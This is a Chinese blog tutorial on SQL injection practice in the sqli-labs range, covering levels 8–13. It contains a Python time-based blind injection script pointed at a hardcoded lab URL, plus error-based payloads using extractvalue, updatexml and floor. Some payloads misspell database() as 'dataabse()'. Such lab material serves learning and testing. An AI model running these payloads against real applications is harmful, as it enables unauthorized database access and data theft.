SQL注入基础学习3

SQL注入基础学习3

二、靶场实操(开始先学习手工,后面的话,可以采用sqlmap等自动化工具)

靶场采用sqli-labs

8、第8关

第八关只能采用盲注的方法,页面也不显示任何报错的信息。可以采用时间盲注或布尔盲注。

  • 测试是否存在注入点。页面输入)'时,页面无显示,说明可能存在注入点。

  • 后面的步骤参照 SQL注入基础学习2,不过,闭合方式为)'

9、第9关

第九关的话,输入任何信息会发现,页面的信息都一么一样,此时可以采用时间盲注。

时间盲注

1.什么是时间盲注?

​ 时间盲注,通过时间函数使SQL语句执行时间延长,从页面响应时间判断条件是否正确的一种注入方式。用到的函数为sleep()。

2.时间盲注的利用

以第九关为列

输入任意字符时查看页面的响应时间

当输入正确的信息并且利用sleep时

所以,利用这个方法,和布尔盲注的注入思路一样,我们可以从页面的响应时间来判断前面的输入是否正确。

但是手工注入的话太繁琐了,我们可以利用脚本或者自动化工具来进行注入。

初学的话,我们可以尝试自己写脚本来加深印象

脚本只写了查询数据库的长度和数据库名称,剩下的基本和 SQL注入基础学习2的思路一样。

脚本如下:

import requests
import time

header = {
    'Cookie': 'security_level=0; BEEFHOOK=edd3UMoFIeKB2j00LcxmECLXTbIo7LuW7EulDpQt287YZMa0M2cTEORVPG1cMRnkibKGTsXcauYPhVyx'
}
baseurl = 'http://8.130.109.21:9999/Less-9/?id='
print("时间盲注管卡")
sptime = int(input("请输入设置沉睡的时间:"))


# 获取数据库名字的长度
def get_databasename_length() -> int:
    count = 0
    for i in range(40):
        url = baseurl + "1)' and length(database())={} and sleep({})--+".format(i,sptime)
        start_time = time.time()

        requests.get(url, headers=header)
        end_time = time.time()
        if end_time - start_time > sptime:
            print("数据库的长度为:{}".format(i))
            count = i
            break
    return count


# 获取数据库名字
def get_databasename(count):
    print("数据库名字为:", end='')
    for i in range(count+1):
        for j in range(33, 127):
            start_time = time.time()
            url = baseurl + "1)' and ascii(mid(database(),{},1))={} and sleep({})--+".format(i, j,sptime)
            requests.get(url, headers=header)
            end_time = time.time()
            if end_time - start_time > sptime:
                print(chr(j), end='')
                break


# get_databasename_length()
get_databasename(get_databasename_length())

脚本的主要思路,在请求前利用time()函数获得当前的时间start_time,然后在请求收到响应后,获得当前的时间end_time,如果end_time - start_time>设置沉睡的时间,那么就是构造的sql注入语句是正确的

运行结果展示如下

10、第10关
第十关与第九关一样,不过闭合方式变成了 )"
11、第11关

POST注入,从url中看不到提交的内容,所以我们得借助工具来测试。工具的话,可以用浏览器插件,浏览器插件HackBar,或者工具postman,或者使用burpsuite,下面的演示内容采用burpsuite来演示

  • 测试注入点,可以在页面中的username来测试,输入'后显示报错信息,闭合方式为'

  • 先利用order by测试列数,测试结果为2

  • 测试回显位

  • 后面的注入与之前的get方式语法一样,填入,uname的值就行

  • 最终的结果如下图所示

12、第12关
  • 输入"后,页面会出现报错信息

  • 测试闭合方式,然后利用order by来测试字段数,如下图所示

  • 后面就是步骤和之前的一样

13、第13关
报错注入
  • 定义:数据库在执行SQL语句时,通常会先对SQL进行检测,如果SQL语句存在问题,就会返回错误信息。通过这种机制,我们可以构造恶意的SQL,触发数据库报错,而在报错信息中就存在着我们想要的信息。

  • 报错注入常用函数

    • extractvalue(xml_frag, xpath_expr):从一个使用xpath语法的xml字符串中提取一个值。
      xml_frag:xml文档对象的名称,是一个string类型。
      xpath_expr:使用xpath语法格式的路径。

      admin') union select 1,extractvalue(1,concat(0x7e,(select dataabse())))#
      
      admin') and 1=extractvalue(1,concat(0x7e,(select dataabse())))#
      
    • updatexml(xml_target, xpath_expr, new_xml)

      xml_target:xml文档对象的名称,是一个string类型。
      xpath_expr:使用xpath语法格式的路径。
      new_xml:需要更新的内容。

      admin') union select 1,updatexml(1,concat(0x7e,(select dataabse())),3)#
      
      admin') and 1=updatexml(1,concat(0x7e,(select dataabse())),3)#
      
    • floor()

      • rand() 随机函数,返回0到1之间的小数
      • floor() 小数向下取整
      admin') and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))a from information_schema.tables group by a)x)#
      
  • 靶场实操

    • 判断闭合方式为')'

    • 获取数据库名

    • 获取数据库中的表

    • 后面只需替换要查询的内容即可,但是报错查询每次输出有长度限制

posted @ 2023-08-21 19:23  凉城厌心  阅读(18)  评论(1编辑  收藏  举报